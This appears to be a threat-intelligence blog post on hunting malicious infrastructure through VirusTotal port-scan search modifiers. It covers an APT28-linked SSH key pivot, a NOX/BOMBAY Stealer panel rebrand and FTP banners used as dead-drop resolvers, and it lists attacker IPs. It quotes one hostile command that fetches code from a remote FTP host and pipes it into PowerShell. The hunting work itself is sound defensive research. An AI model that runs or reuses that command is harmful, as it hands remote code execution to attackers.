Protocol details	HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output.

Searching the scanning data

Modifier	Example	Matches
port	entity:ip port:3389	IPs with any information on that port
open_port / closed_port	entity:ip open_port:22	IPs where the port is currently open / closed
port_status	entity:ip port_status:open	Filter by port status
port_protocol	entity:ip port_protocol:ssh	Protocol running on the port
port_service_product	entity:ip port_service_product:openssh	Product name
port_service_version	entity:ip port_service_version:8.2p1	Product version
port_service_cpe	entity:ip port_service_cpe:"cpe:/o:linux:linux_kernel"	CPE identifier
port_banner	entity:ip port_banner:mikrotik	Text inside the service banner
os_type / device_type	entity:ip device_type:router	Detected OS / device class
fingerprint	entity:ip fingerprint:"SHA256:..."	SSH or RDP fingerprint

entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0

entity:ip os_type[445]:Windows

entity:ip port_banner[21]:mikrotik

entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"

A word about noise

Pivoting on an SSH host key: a real example

entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"

IP	Hosting	Detections	Collections
91.219.237[.]110	ServerAstra (HU)	3	APT28, Havoc
185.146.232[.]3	FlokiNET (IS)	0	none

entity:ip ssl_subject:"b4ck.my"

entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"

From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443

entity:url tag:ns-port tag:password-input tag:ip

Port	Status	What the scanner captured
8443	open	HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel
445	open	SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V
3389	open	RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint)
80	recently closed	HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS)

entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389

Catching a live rebrand: NOX becomes BOMBAY

• The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
• New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
• The host fingerprint didn't blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.

Hunting FTP banners used as dead drop resolvers

entity:ip port_banner[21]:"conhost"

start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"

IP	Hosting	Port 21	Next hop in the banner
157.254.194[.]31	12651980 CANADA INC. (US)	closed, last seen open 2026-08-10	167.148.41[.]164
54.37.237[.]164	OVH (FR)	open, last seen 2026-10-01	54.37.237[.]166
51.89.199[.]125	OVH (GB)	closed, last seen open 2026-08-31	51.89.199[.]118
185.14.92[.]162	Florian Kolb (DE)	closed, seen open only on 2026-07-03	185.14.92[.]223
45.87.41[.]133	SpectraIP (NL)	closed, last seen open 2026-07-08	64.111.92[.]89

• The E4del chain, with dates. 157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
• First and second hop sit next to each other. 54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
• Earlier than reported. 45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
• Still live. 54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.

Using it from the API

# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests

BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}

def ports(ip):
    r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
    r.raise_for_status()
    for p in r.json()["data"]["attributes"].get("port_info", []):
        svc = p.get("latest_analysis", {}).get("port_service", {})
        fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
        print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)

def search(query, limit=40):
    r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
                     params={"query": query, "limit": limit}, timeout=120)
    r.raise_for_status()
    return [d["id"] for d in r.json().get("data", [])]

ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))

What about Livehunt?

Wrapping up

Microsoft details NeedyMantis malware, a modular backdoor that uses DLL sideloading to keep long-term access in telecom, academic, and government networks.

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Zimbra CVE-2026-73570 lets one crafted email run code. Microsoft details the Zimbra command injection attacks: web shells, root access, and key theft.

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Star Blizzard RedFlick phishing hit 100+ groups that back Ukraine, using scheduled tasks to drop the CosmicPulse backdoor after a single click.

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Compare 8 top red teaming providers for enterprise adversary emulation, from DeepSeas and Mandiant to CrowdStrike, IBM, SpecterOps, TrustedSec and NCC Group.

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